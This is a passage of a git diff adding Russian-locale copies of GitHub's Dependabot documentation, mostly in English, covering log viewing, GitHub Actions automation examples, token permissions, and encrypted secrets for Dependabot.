reusables.repositories.click-dependency-graph %} +{% data reusables.dependabot.click-dependabot-tab %} +1. Optionally, to view the files monitored for a package manager, click the associated {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. + ![Monitored dependency files](/assets/images/help/dependabot/monitored-dependency-files.png) + +If any dependencies are missing, check the log files for errors. If any package managers are missing, review the configuration file. + +## Viewing {% data variables.product.prodname_dependabot %} log files + +1. On the **{% data variables.product.prodname_dependabot %}** tab, click **Last checked *TIME* ago** to see the log file that {% data variables.product.prodname_dependabot %} generated during the last check for version updates. + ![View log file](/assets/images/help/dependabot/last-checked-link.png) +2. Optionally, to rerun the version check, click **Check for updates**. + ![Check for updates](/assets/images/help/dependabot/check-for-updates.png) diff --git a/translations/ru-RU/content/code-security/dependabot/index.md b/translations/ru-RU/content/code-security/dependabot/index.md new file mode 100644 index 000000000000..239301ba48bd --- /dev/null +++ b/translations/ru-RU/content/code-security/dependabot/index.md @@ -0,0 +1,29 @@ +--- +title: Обеспечение безопасности цепочки поставок с помощью Dependabot +shortTitle: Dependabot +intro: 'Отслеживайте уязвимости в зависимостях, используемых в проекте{% ifversion fpt or ghec or ghes %}, и поддерживайте актуальность зависимостей{% endif %} с помощью {% data variables.product.prodname_dependabot %}.' +allowTitleToDifferFromFilename: true +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Dependabot + - Alerts + - Vulnerabilities + - Repositories + - Dependencies +children: + - /dependabot-alerts + - /dependabot-security-updates + - /dependabot-version-updates + - /working-with-dependabot +ms.openlocfilehash: a3a79cc975a019b80414fcf9387848a55aee39d2 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148108962' +--- + diff --git a/translations/ru-RU/content/code-security/dependabot/working-with-dependabot/automating-dependabot-with-github-actions.md b/translations/ru-RU/content/code-security/dependabot/working-with-dependabot/automating-dependabot-with-github-actions.md new file mode 100644 index 000000000000..95d5d7ab1d1a --- /dev/null +++ b/translations/ru-RU/content/code-security/dependabot/working-with-dependabot/automating-dependabot-with-github-actions.md @@ -0,0 +1,562 @@ +--- +title: Automating Dependabot with GitHub Actions +intro: 'Examples of how you can use {% data variables.product.prodname_actions %} to automate common {% data variables.product.prodname_dependabot %} related tasks.' +permissions: 'People with write permissions to a repository can configure {% data variables.product.prodname_actions %} to respond to {% data variables.product.prodname_dependabot %}-created pull requests.' +miniTocMaxHeadingLevel: 3 +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +type: how_to +topics: + - Actions + - Dependabot + - Version updates + - Security updates + - Repositories + - Dependencies + - Pull requests +shortTitle: Use Dependabot with Actions +redirect_from: + - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions +--- + +{% data reusables.dependabot.beta-security-and-version-updates %} +{% data reusables.dependabot.enterprise-enable-dependabot %} + +## About {% data variables.product.prodname_dependabot %} and {% data variables.product.prodname_actions %} + +{% data variables.product.prodname_dependabot %} creates pull requests to keep your dependencies up to date, and you can use {% data variables.product.prodname_actions %} to perform automated tasks when these pull requests are created. For example, fetch additional artifacts, add labels, run tests, or otherwise modifying the pull request. + +## Responding to events + +{% data variables.product.prodname_dependabot %} is able to trigger {% data variables.product.prodname_actions %} workflows on its pull requests and comments; however, certain events are treated differently. + +{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +For workflows initiated by {% data variables.product.prodname_dependabot %} (`github.actor == 'dependabot[bot]'`) using the `pull_request`, `pull_request_review`, `pull_request_review_comment`, `push`, `create`, `deployment`, and `deployment_status` events, the following restrictions apply: +{% endif %} + +- {% ifversion ghes = 3.3 %}`GITHUB_TOKEN` has read-only permissions, unless your administrator has removed restrictions.{% else %}`GITHUB_TOKEN` has read-only permissions by default.{% endif %} +- {% ifversion ghes = 3.3 %}Secrets are inaccessible, unless your administrator has removed restrictions.{% else %}Secrets are populated from {% data variables.product.prodname_dependabot %} secrets. {% data variables.product.prodname_actions %} secrets are not available.{% endif %} + +{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +For workflows initiated by {% data variables.product.prodname_dependabot %} (`github.actor == 'dependabot[bot]'`) using the `pull_request_target` event, if the base ref of the pull request was created by {% data variables.product.prodname_dependabot %} (`github.actor == 'dependabot[bot]'`), the `GITHUB_TOKEN` will be read-only and secrets are not available. +{% endif %} + +{% ifversion actions-stable-actor-ids %}These restrictions apply even if the workflow is re-run by a different actor.{% endif %} + +For more information, see ["Keeping your GitHub Actions and workflows secure: Preventing pwn requests"](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). + +{% ifversion fpt or ghec or ghes > 3.3 %} + +### Changing `GITHUB_TOKEN` permissions + +By default, {% data variables.product.prodname_actions %} workflows triggered by {% data variables.product.prodname_dependabot %} get a `GITHUB_TOKEN` with read-only permissions. You can use the `permissions` key in your workflow to increase the access for the token: + +{% raw %} + +```yaml +name: CI +on: pull_request + +# Set the access for individual scopes, or use permissions: write-all +permissions: + pull-requests: write + issues: write + repository-projects: write + ... + +jobs: + ... +``` + +{% endraw %} + +For more information, see "[Modifying the permissions for the GITHUB_TOKEN](/actions/security-guides/automatic-token-authentication#modifying-the-permissions-for-the-github_token)." + +### Accessing secrets + +When a {% data variables.product.prodname_dependabot %} event triggers a workflow, the only secrets available to the workflow are {% data variables.product.prodname_dependabot %} secrets. {% data variables.product.prodname_actions %} secrets are not available. Consequently, you must store any secrets that are used by a workflow triggered by {% data variables.product.prodname_dependabot %} events as {% data variables.product.prodname_dependabot %} secrets. For more information, see "[Managing encrypted secrets for Dependabot](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)". + +{% data variables.product.prodname_dependabot %} secrets are added to the `secrets` context and referenced using exactly the same syntax as secrets for {% data variables.product.prodname_actions %}. For more information, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets#using-encrypted-secrets-in-a-workflow)." + +If you have a workflow that will be triggered by {% data variables.product.prodname_dependabot %} and also by other actors, the simplest solution is to store the token with the permissions required in an action and in a {% data variables.product.prodname_dependabot %} secret with identical names. Then the workflow can include a single call to these secrets. If the secret for {% data variables.product.prodname_dependabot %} has a different name, use conditions to specify the correct secrets for different actors to use. For examples that use conditions, see "[Common automations](#common-dependabot-automations)" below. + +To access a private container registry on AWS with a user name and password, a workflow must include a secret for `username` and `password`. In the example below, when {% data variables.product.prodname_dependabot %} triggers the workflow, the {% data variables.product.prodname_dependabot %} secrets with the names `READONLY_AWS_ACCESS_KEY_ID` and `READONLY_AWS_ACCESS_KEY` are used. If another actor triggers the workflow, the actions secrets with those names are used. + +```yaml +name: CI +on: + pull_request: + branches: [ main ] + +jobs: + build: + runs-on: ubuntu-latest + steps: + - name: Checkout repository + uses: {% data reusables.actions.action-checkout %} + + - name: Login to private container registry for dependencies + uses: docker/login-action@v1 + with: + registry: https://1234567890.dkr.ecr.us-east-1.amazonaws.com + username: {% raw %}${{ secrets.READONLY_AWS_ACCESS_KEY_ID }}{% endraw %} + password: {% raw %}${{ secrets.READONLY_AWS_ACCESS_KEY }}{% endraw %} + + - name: Build the Docker image + run: docker build . --file Dockerfile --tag my-image-name:$(date +%s) +``` + +{% endif %} + +{% ifversion ghes = 3.3 %} + +{% note %} + +**Note:** Your site administrator can override these restrictions for {% data variables.location.product_location %}. For more information, see "[Troubleshooting {% data variables.product.prodname_actions %} for your enterprise](/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise#troubleshooting-failures-when-dependabot-triggers-existing-workflows)." + +If the restrictions are removed, when a workflow is triggered by {% data variables.product.prodname_dependabot %} it will have access to {% data variables.product.prodname_actions %} secrets and can use the `permissions` term to increase the default scope of the `GITHUB_TOKEN` from read-only access. You can ignore the specific steps in the "Handling `pull_request` events" and "Handling `push` events" sections, as it no longer applies. + +{% endnote %} + +### Handling `pull_request` events + +If your workflow needs access to secrets or a `GITHUB_TOKEN` with write permissions, you have two options: using `pull_request_target`, or using two separate workflows. We will detail using `pull_request_target` in this section, and using two workflows below in "[Handling `push` events](#handling-push-events)." + +Below is a simple example of a `pull_request` workflow that might now be failing: + +```yaml +### This workflow now has no secrets and a read-only token +name: Dependabot Workflow +on: + pull_request + +jobs: + dependabot: + runs-on: ubuntu-latest + # Always check the actor is Dependabot to prevent your workflow from failing on non-Dependabot PRs + if: {% raw %}${{ github.actor == 'dependabot[bot]' }}{% endraw %} + steps: + - uses: {% data reusables.actions.action-checkout %} +``` + +You can replace `pull_request` with `pull_request_target`, which is used for pull requests from forks, and explicitly check out the pull request `HEAD`. + +{% warning %} + +**Warning:** Using `pull_request_target` as a substitute for `pull_request` exposes you to insecure behavior. We recommend you use the two workflow method, as described below in "[Handling `push` events](#handling-push-events)." + +{% endwarning %} + +```yaml +### This workflow has access to secrets and a read-write token +name: Dependabot Workflow +on: + pull_request_target + +permissions: + # Downscope as necessary, since you now have a read-write token + +jobs: + dependabot: + runs-on: ubuntu-latest + if: {% raw %}${{ github.actor == 'dependabot[bot]' }}{% endraw %} + steps: + - uses: {% data reusables.actions.action-checkout %} + with: + # Check out the pull request HEAD + ref: {% raw %}${{ github.event.pull_request.head.sha }}{% endraw %} + github-token: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} +``` + +It is also strongly recommended that you downscope the permissions granted to the `GITHUB_TOKEN` in order to avoid leaking a token with more privilege than necessary. For more information, see "[Permissions for the `GITHUB_TOKEN`](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)." + +### Handling `push` events + +As there is no `pull_request_target` equivalent for `push` events, you will have to use two workflows: one untrusted workflow that ends by uploading artifacts, which triggers a second trusted workflow that downloads artifacts and continues processing. + +The first workflow performs any untrusted work: + +{% raw %} + +```yaml +### This workflow doesn't have access to secrets and has a read-only token +name: Dependabot Untrusted Workflow +on: + push + +jobs: + check-dependabot: + runs-on: ubuntu-latest + if: ${{ github.actor == 'dependabot[bot]' }} + steps: + - uses: ... +``` + +{% endraw %} + +The second workflow performs trusted work after the first workflow completes successfully: + +{% raw %} + +```yaml +### This workflow has access to secrets and a read-write token +name: Dependabot Trusted Workflow +on: + workflow_run: + workflows: ["Dependabot Untrusted Workflow"] + types: + - completed + +permissions: + # Downscope as necessary, since you now have a read-write token + +jobs: + dependabot: + runs-on: ubuntu-latest + if: ${{ github.event.workflow_run.conclusion == 'success' }} + steps: + - uses: ... +``` + +{% endraw %} + +{% endif %} + +### Manually re-running a workflow + +{% ifversion actions-stable-actor-ids %} + +When you manually re-run a Dependabot workflow, it will run with the same privileges as before even if the user who initiated the rerun has different privileges. For more information, see "[Re-running workflows and jobs](/actions/managing-workflow-runs/re-running-workflows-and-jobs)." + +{% else %} + +You can also manually re-run a failed Dependabot workflow, and it will run with a read-write token and access to secrets. Before manually re-running a failed workflow, you should always check the dependency being updated to ensure that the change doesn't introduce any malicious or unintended behavior. + +{% endif %} + +## Common Dependabot automations + +Here are several common scenarios that can be automated using {% data variables.product.prodname_actions %}. + +{% ifversion ghes = 3.3 %} + +{% note %} + +**Note:** If your site administrator has overridden restrictions for {% data variables.product.prodname_dependabot %} on {% data variables.location.product_location %}, you can use `pull_request` instead of `pull_request_target` in the following workflows. + +{% endnote %} + +{% endif %} + +### Fetch metadata about a pull request + +A large amount of automation requires knowing information about the contents of the pull request: what the dependency name was, if it's a production dependency, and if it's a major, minor, or patch update. + +The `dependabot/fetch-metadata` action provides all that information for you: + +{% ifversion ghes = 3.3 %} + +{% raw %} + +```yaml +name: Dependabot fetch metadata +on: pull_request_target + +permissions: + pull-requests: write + issues: write + repository-projects: write + +jobs: + dependabot: + runs-on: ubuntu-latest + if: ${{ github.actor == 'dependabot[bot]' }} + steps: + - name: Dependabot metadata + id: dependabot-metadata + uses: dependabot/fetch-metadata@v1.1.1 + with: + github-token: "${{ secrets.GITHUB_TOKEN }}" + # The following properties are now available: + # - steps.dependabot-metadata.outputs.dependency-names + # - steps.dependabot-metadata.outputs.dependency-type + # - steps.dependabot-metadata.outputs.update-type +``` + +{% endraw %} + +{% else %} + +{% raw %} + +```yaml +name: Dependabot fetch metadata +on: pull_request + +permissions: + pull-requests: write + issues: write + repository-projects: write + +jobs: + dependabot: + runs-on: ubuntu-latest + if: ${{ github.actor == 'dependabot[bot]' }} + steps: + - name: Dependabot metadata + id: metadata + uses: dependabot/fetch-metadata@v1.1.1 + with: + github-token: "${{ secrets.GITHUB_TOKEN }}" + # The following properties are now available: + # - steps.metadata.outputs.dependency-names + # - steps.metadata.outputs.dependency-type + # - steps.metadata.outputs.update-type +``` + +{% endraw %} + +{% endif %} + +For more information, see the [`dependabot/fetch-metadata`](https://github.com/dependabot/fetch-metadata) repository. + +### Label a pull request + +If you have other automation or triage workflows based on {% data variables.product.prodname_dotcom %} labels, you can configure an action to assign labels based on the metadata provided. + +For example, if you want to flag all production dependency updates with a label: + +{% ifversion ghes = 3.3 %} + +{% raw %} + +```yaml +name: Dependabot auto-label +on: pull_request_target + +permissions: + pull-requests: write + issues: write + repository-projects: write + +jobs: + dependabot: + runs-on: ubuntu-latest + if: ${{ github.actor == 'dependabot[bot]' }} + steps: + - name: Dependabot metadata + id: dependabot-metadata + uses: dependabot/fetch-metadata@v1.1.1 + with: + github-token: "${{ secrets.GITHUB_TOKEN }}" + - name: Add a label for all production dependencies + if: ${{ steps.dependabot-metadata.outputs.dependency-type == 'direct:production' }} + run: gh pr edit "$PR_URL" --add-label "production" + env: + PR_URL: ${{github.event.pull_request.html_url}} +``` + +{% endraw %} + +{% else %} + +{% raw %} + +```yaml +name: Dependabot auto-label +on: pull_request + +permissions: + pull-requests: write + issues: write + repository-projects: write + +jobs: + dependabot: + runs-on: ubuntu-latest + if: ${{ github.actor == 'dependabot[bot]' }} + steps: + - name: Dependabot metadata + id: metadata + uses: dependabot/fetch-metadata@v1.1.1 + with: + github-token: "${{ secrets.GITHUB_TOKEN }}" + - name: Add a label for all production dependencies + if: ${{ steps.metadata.outputs.dependency-type == 'direct:production' }} + run: gh pr edit "$PR_URL" --add-label "production" + env: + PR_URL: ${{github.event.pull_request.html_url}} +``` + +{% endraw %} + +{% endif %} + +### Approve a pull request + +If you want to automatically approve Dependabot pull requests, you can use the {% data variables.product.prodname_cli %} in a workflow: + +{% ifversion ghes = 3.3 %} + +{% raw %} + +```yaml +name: Dependabot auto-approve +on: pull_request_target + +permissions: + pull-requests: write + +jobs: + dependabot: + runs-on: ubuntu-latest + if: ${{ github.actor == 'dependabot[bot]' }} + steps: + - name: Dependabot metadata + id: dependabot-metadata + uses: dependabot/fetch-metadata@v1.1.1 + with: + github-token: "${{ secrets.GITHUB_TOKEN }}" + - name: Approve a PR + run: gh pr review --approve "$PR_URL" + env: + PR_URL: ${{github.event.pull_request.html_url}} + GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}} +``` + +{% endraw %} + +{% else %} + +{% raw %} + +```yaml +name: Dependabot auto-approve +on: pull_request + +permissions: + pull-requests: write + +jobs: + dependabot: + runs-on: ubuntu-latest + if: ${{ github.actor == 'dependabot[bot]' }} + steps: + - name: Dependabot metadata + id: metadata + uses: dependabot/fetch-metadata@v1.1.1 + with: + github-token: "${{ secrets.GITHUB_TOKEN }}" + - name: Approve a PR + run: gh pr review --approve "$PR_URL" + env: + PR_URL: ${{github.event.pull_request.html_url}} + GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}} +``` + +{% endraw %} + +{% endif %} + +### Enable auto-merge on a pull request + +If you want to allow maintainers to mark certain pull requests for auto-merge, you can use {% data variables.product.prodname_dotcom %}'s auto-merge functionality. This enables the pull request to be merged when any tests and approvals required by the branch protection rules are successfully met. For more information, see "[Automatically merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)" and "[Managing a branch protection rule](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule)." + +{% note %} + +**Note:** If you use status checks to test pull requests, you should enable **Require status checks to pass before merging** for the target branch for {% data variables.product.prodname_dependabot %} pull requests. This branch protection rule ensures that pull requests are not merged unless all the required status checks pass. For more information, see "[Managing a branch protection rule](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule)." + +{% endnote %} + +You can instead use {% data variables.product.prodname_actions %} and the {% data variables.product.prodname_cli %}. Here is an example that auto merges all patch updates to `my-dependency`: + +{% ifversion ghes = 3.3 %} + +{% raw %} + +```yaml +name: Dependabot auto-merge +on: pull_request_target + +permissions: + contents: write + pull-requests: write + +jobs: + dependabot: + runs-on: ubuntu-latest + if: ${{ github.actor == 'dependabot[bot]' }} + steps: + - name: Dependabot metadata + id: dependabot-metadata + uses: dependabot/fetch-metadata@v1.1.1 + with: + github-token: "${{ secrets.GITHUB_TOKEN }}" + - name: Enable auto-merge for Dependabot PRs + if: ${{contains(steps.dependabot-metadata.outputs.dependency-names, 'my-dependency') && steps.dependabot-metadata.outputs.update-type == 'version-update:semver-patch'}} + run: gh pr merge --auto --merge "$PR_URL" + env: + PR_URL: ${{github.event.pull_request.html_url}} + GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}} +``` + +{% endraw %} + +{% else %} + +{% raw %} + +```yaml +name: Dependabot auto-merge +on: pull_request + +permissions: + contents: write + pull-requests: write + +jobs: + dependabot: + runs-on: ubuntu-latest + if: ${{ github.actor == 'dependabot[bot]' }} + steps: + - name: Dependabot metadata + id: metadata + uses: dependabot/fetch-metadata@v1.1.1 + with: + github-token: "${{ secrets.GITHUB_TOKEN }}" + - name: Enable auto-merge for Dependabot PRs + if: ${{contains(steps.metadata.outputs.dependency-names, 'my-dependency') && steps.metadata.outputs.update-type == 'version-update:semver-patch'}} + run: gh pr merge --auto --merge "$PR_URL" + env: + PR_URL: ${{github.event.pull_request.html_url}} + GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}} +``` + +{% endraw %} + +{% endif %} + +## Troubleshooting failed workflow runs + +If your workflow run fails, check the following: + +{% ifversion ghes = 3.3 %} + +- You are running the workflow only when the correct actor triggers it. +- You are checking out the correct `ref` for your `pull_request`. +- You aren't trying to access secrets from within a Dependabot-triggered `pull_request`, `pull_request_review`, `pull_request_review_comment`, or `push` event. +- You aren't trying to perform any `write` actions from within a Dependabot-triggered `pull_request`, `pull_request_review`, `pull_request_review_comment`, or `push` event. + +{% else %} + +- You are running the workflow only when the correct actor triggers it. +- You are checking out the correct `ref` for your `pull_request`. +- Your secrets are available in {% data variables.product.prodname_dependabot %} secrets rather than as {% data variables.product.prodname_actions %} secrets. +- You have a `GITHUB_TOKEN` with the correct permissions. + +{% endif %} + +For information on writing and debugging {% data variables.product.prodname_actions %}, see "[Learning GitHub Actions](/actions/learn-github-actions)." diff --git a/translations/ru-RU/content/code-security/dependabot/working-with-dependabot/index.md b/translations/ru-RU/content/code-security/dependabot/working-with-dependabot/index.md new file mode 100644 index 000000000000..175a6c8be3ec --- /dev/null +++ b/translations/ru-RU/content/code-security/dependabot/working-with-dependabot/index.md @@ -0,0 +1,30 @@ +--- +title: Работа с Dependabot +shortTitle: Work with Dependabot +intro: 'Инструкции и рекомендации по работе с {% data variables.product.prodname_dependabot %}, например, управление запросами на вытягивание, вызванными {% data variables.product.prodname_dependabot %}, с помощью {% data variables.product.prodname_actions %} с {% data variables.product.prodname_dependabot %}, а также устранение ошибок {% data variables.product.prodname_dependabot %}.' +versions: + fpt: '*' + ghec: '*' + ghes: '*' +topics: + - Repositories + - Dependabot + - Version updates + - Security updates + - Dependencies + - Pull requests +children: + - /managing-pull-requests-for-dependency-updates + - /automating-dependabot-with-github-actions + - /keeping-your-actions-up-to-date-with-dependabot + - /managing-encrypted-secrets-for-dependabot + - /troubleshooting-the-detection-of-vulnerable-dependencies + - /troubleshooting-dependabot-errors +ms.openlocfilehash: efab6caf0c9384c9e72cc5ed1fe64bd500cede45 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148108961' +--- + diff --git a/translations/ru-RU/content/code-security/dependabot/working-with-dependabot/keeping-your-actions-up-to-date-with-dependabot.md b/translations/ru-RU/content/code-security/dependabot/working-with-dependabot/keeping-your-actions-up-to-date-with-dependabot.md new file mode 100644 index 000000000000..d6ffb64685dc --- /dev/null +++ b/translations/ru-RU/content/code-security/dependabot/working-with-dependabot/keeping-your-actions-up-to-date-with-dependabot.md @@ -0,0 +1,67 @@ +--- +title: Keeping your actions up to date with Dependabot +intro: 'You can use {% data variables.product.prodname_dependabot %} to keep the actions you use updated to the latest versions.' +redirect_from: + - /github/administering-a-repository/keeping-your-actions-up-to-date-with-github-dependabot + - /github/administering-a-repository/keeping-your-actions-up-to-date-with-dependabot + - /code-security/supply-chain-security/keeping-your-actions-up-to-date-with-dependabot + - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/keeping-your-actions-up-to-date-with-dependabot +versions: + fpt: '*' + ghec: '*' + ghes: '*' +type: how_to +topics: + - Repositories + - Dependabot + - Version updates + - Actions +shortTitle: Auto-update actions +--- + +{% data reusables.dependabot.beta-security-and-version-updates %} + +{% data reusables.dependabot.enterprise-enable-dependabot %} + +## About {% data variables.product.prodname_dependabot_version_updates %} for actions + +Actions are often updated with bug fixes and new features to make automated processes more reliable, faster, and safer. When you enable {% data variables.product.prodname_dependabot_version_updates %} for {% data variables.product.prodname_actions %}, {% data variables.product.prodname_dependabot %} will help ensure that references to actions in a repository's *workflow.yml* file are kept up to date. For each action in the file, {% data variables.product.prodname_dependabot %} checks the action's reference (typically a version number or commit identifier associated with the action) against the latest version. If a more recent version of the action is available, {% data variables.product.prodname_dependabot %} will send you a pull request that updates the reference in the workflow file to the latest version. For more information about {% data variables.product.prodname_dependabot_version_updates %}, see "[About {% data variables.product.prodname_dependabot_version_updates %}](/github/administering-a-repository/about-dependabot-version-updates)." For more information about configuring workflows for {% data variables.product.prodname_actions %}, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)." + +{% data reusables.actions.workflow-runs-dependabot-note %} + +## Enabling {% data variables.product.prodname_dependabot_version_updates %} for actions + +You can configure {% data variables.product.prodname_dependabot_version_updates %} to maintain your actions as well as the libraries and packages you depend on. + +1. If you have already enabled {% data variables.product.prodname_dependabot_version_updates %} for other ecosystems or package managers, simply open the existing *dependabot.yml* file. Otherwise, create a *dependabot.yml* configuration file in the `.github` directory of your repository. For more information, see "[Configuring Dependabot version updates](/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates#enabling-dependabot-version-updates)." +1. Specify `"github-actions"` as a `package-ecosystem` to monitor. +1. Set the `directory` to `"/"` to check for workflow files in `.github/workflows`. +1. Set a `schedule.interval` to specify how often to check for new versions. +{% data reusables.dependabot.check-in-dependabot-yml %} If you have edited an existing file, save your changes. + +You can also enable {% data variables.product.prodname_dependabot_version_updates %} on forks. For more information, see "[Configuring {% data variables.product.prodname_dependabot %} version updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates#enabling-version-updates-on-forks)." + +### Example *dependabot.yml* file for {% data variables.product.prodname_actions %} + +The example *dependabot.yml* file below configures version updates for {% data variables.product.prodname_actions %}. The `directory` must be set to `"/"` to check for workflow files in `.github/workflows`. The `schedule.interval` is set to `"weekly"`. After this file has been checked in or updated, {% data variables.product.prodname_dependabot %} checks for new versions of your actions. {% data variables.product.prodname_dependabot %} will raise pull requests for version updates for any outdated actions that it finds. After the initial version updates, {% data variables.product.prodname_dependabot %} will continue to check for outdated versions of actions once a week. + +```yaml +# Set update schedule for GitHub Actions + +version: 2 +updates: + + - package-ecosystem: "github-actions" + directory: "/" + schedule: + # Check for updates to GitHub Actions every week + interval: "weekly" +``` + +## Configuring {% data variables.product.prodname_dependabot_version_updates %} for actions + +When enabling {% data variables.product.prodname_dependabot_version_updates %} for actions, you must specify values for `package-ecosystem`, `directory`, and `schedule.interval`. There are many more optional properties that you can set to further customize your version updates. For more information, see "[Configuration options for the dependabot.yml file](/github/administering-a-repository/configuration-options-for-dependency-updates)." + +## Further reading + +- "[About GitHub Actions](/actions/getting-started-with-github-actions/about-github-actions)" diff --git a/translations/ru-RU/content/code-security/dependabot/working-with-dependabot/managing-encrypted-secrets-for-dependabot.md b/translations/ru-RU/content/code-security/dependabot/working-with-dependabot/managing-encrypted-secrets-for-dependabot.md new file mode 100644 index 000000000000..d3c87a52e186 --- /dev/null +++ b/translations/ru-RU/content/code-security/dependabot/working-with-dependabot/managing-encrypted-secrets-for-dependabot.md @@ -0,0 +1,90 @@ +--- +title: Managing encrypted secrets for Dependabot +intro: 'You can store sensitive information, like passwords and access tokens, as encrypted secrets and then reference these in the {% data variables.product.prodname_dependabot %} configuration file.' +redirect_from: + - /github/administering-a-repository/managing-encrypted-secrets-for-dependabot + - /code-security/supply-chain-security/managing-encrypted-secrets-for-dependabot + - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot +versions: + fpt: '*' + ghec: '*' + ghes: '*' +type: how_to +topics: + - Dependabot + - Version updates + - Secret store + - Repositories + - Dependencies +shortTitle: Manage encrypted secrets +--- + +{% data reusables.dependabot.beta-security-and-version-updates %} + +## About encrypted secrets for {% data variables.product.prodname_dependabot %} + +{% data variables.product.prodname_dependabot %} secrets are encrypted credentials that you create at either the organization level or the repository level. +When you add a secret at the organization level, you can specify which repositories can access the secret. You can use secrets to allow {% data variables.product.prodname_dependabot %} to update dependencies located in private package registries. When you add a secret it's encrypted before it reaches {% data variables.product.prodname_dotcom %} and it remains encrypted until it's used by {% data variables.product.prodname_dependabot %} to access a private package registry. + +After you add a {% data variables.product.prodname_dependabot %} secret, you can reference it in the _dependabot.yml_ configuration file like this: {% raw %}`${{secrets.NAME}}`{% endraw %}, where "NAME" is the name you chose for the secret. For example: + +{% raw %} +```yaml +password: ${{secrets.MY_ARTIFACTORY_PASSWORD}} +``` +{% endraw %} + +For more information, see "[Configuration options for the dependabot.yml file](/github/administering-a-repository/configuration-options-for-dependency-updates#configuration-options-for-private-registries)." + +### Naming your secrets + +The name of a {% data variables.product.prodname_dependabot %} secret: +* Can only contain alphanumeric characters (`[A-Z]`, `[0-9]`) or underscores (`_`). Spaces are not allowed. If you enter lowercase letters these are changed to uppercase. +* Must not start with the `GITHUB_` prefix. +* Must not start with a number. + +## Adding a repository secret for {% data variables.product.prodname_dependabot %} + +{% data reusables.actions.permissions-statement-secrets-repository %} + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.dependabot.sidebar-secret %} +1. Click **New repository secret**. +1. Type a name for your secret in the **Name** input box. +1. Enter the value for your secret. +1. Click **Add secret**. + + The name of the secret is listed on the Dependabot secrets page. You can click **Update** to change the secret value. You can click **Remove** to delete the secret. + + ![Update or remove a repository secret](/assets/images/help/dependabot/update-remove-repo-secret.png) + +## Adding an organization secret for {% data variables.product.prodname_dependabot %} + +When creating a secret in an organization, you can use a policy to limit which repositories can access that secret. For example, you can grant access to all repositories, or limit access to only private repositories or a specified list of repositories. + +{% data reusables.actions.permissions-statement-secrets-organization %} + +{% data reusables.organizations.navigate-to-org %} +{% data reusables.organizations.org_settings %} +{% data reusables.dependabot.sidebar-secret %} +1. Click **New organization secret**. +1. Type a name for your secret in the **Name** input box. +1. Enter the **Value** for your secret. +1. From the **Repository access** dropdown list, choose an access policy. +1. If you chose **Selected repositories**: + + * Click {% octicon "gear" aria-label="The Gear icon" %}. + * Choose the repositories that can access this secret. + ![Select repositories for this secret](/assets/images/help/dependabot/secret-repository-access.png) + * Click **Update selection**. + +1. Click **Add secret**. + + The name of the secret is listed on the Dependabot secrets page. You can click **Update** to change the secret value or its access policy. You can click **Remove** to delete the secret. + + ![Update or remove an organization secret](/assets/images/help/dependabot/update-remove-org-secret.png) + +## Adding {% data variables.product.prodname_dependabot %} to your registries IP allow list + +If your private registry is configured with an IP allow list, you can find the IP addresses {% data variables.product.prodname_dependabot %} uses to access the registry in the meta API endpoint, under the `dependabot` key. For more information, see "[Meta](/rest/reference/meta)." diff --git a/translations/ru-RU/content/code-security/dependabot/working-with-dependabot/managing-pull-requests-for-dependency-updates.md b/translations/ru-RU/content/code-security/dependabot/working-with-dependabot/managing-pull-requests-for-dependency-updates.md new file mode 100644 index 000000000000..349af2dd14c1 --- /dev/null +++ b/translations/ru-RU/content/code-security/dependabot/working-with-dependabot/managing-pull-requests-for-dependency-updates.md @@ -0,0 +1,70 @@ +--- +title: Managing pull requests for dependency updates +intro: 'You manage pull requests raised by {% data variables.product.prodname_dependabot %} in much the same way as other pull requests, but there are some extra options.' +redirect_from: + - /github/administering-a-repository/managing-pull-requests-for-dependency-updates + - /code-security/supply-chain-security/managing-pull-requests-for-dependency-updates + - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-pull-requests-for-dependency-updates +versions: + fpt: '*' + ghec: '*' + ghes: '> 3.2' +type: how_to +topics: + - Repositories + - Version updates + - Security updates + - Pull requests + - Dependencies + - Vulnerabilities +shortTitle: Manage Dependabot PRs +--- + +{% data reusables.dependabot.beta-security-and-version-updates %} +{% data reusables.dependabot.enterprise-enable-dependabot %} + +## About {% data variables.product.prodname_dependabot %} pull requests + +{% data reusables.dependabot.pull-request-introduction %} + +When {% data variables.product.prodname_dependabot %} raises a pull request, you're notified by your chosen method for the repository. Each pull request contains detailed information about the proposed change, taken from the package manager. These pull requests follow the normal checks and tests defined in your repository. +{% ifversion fpt or ghec %}In addition, where enough information is available, you'll see a 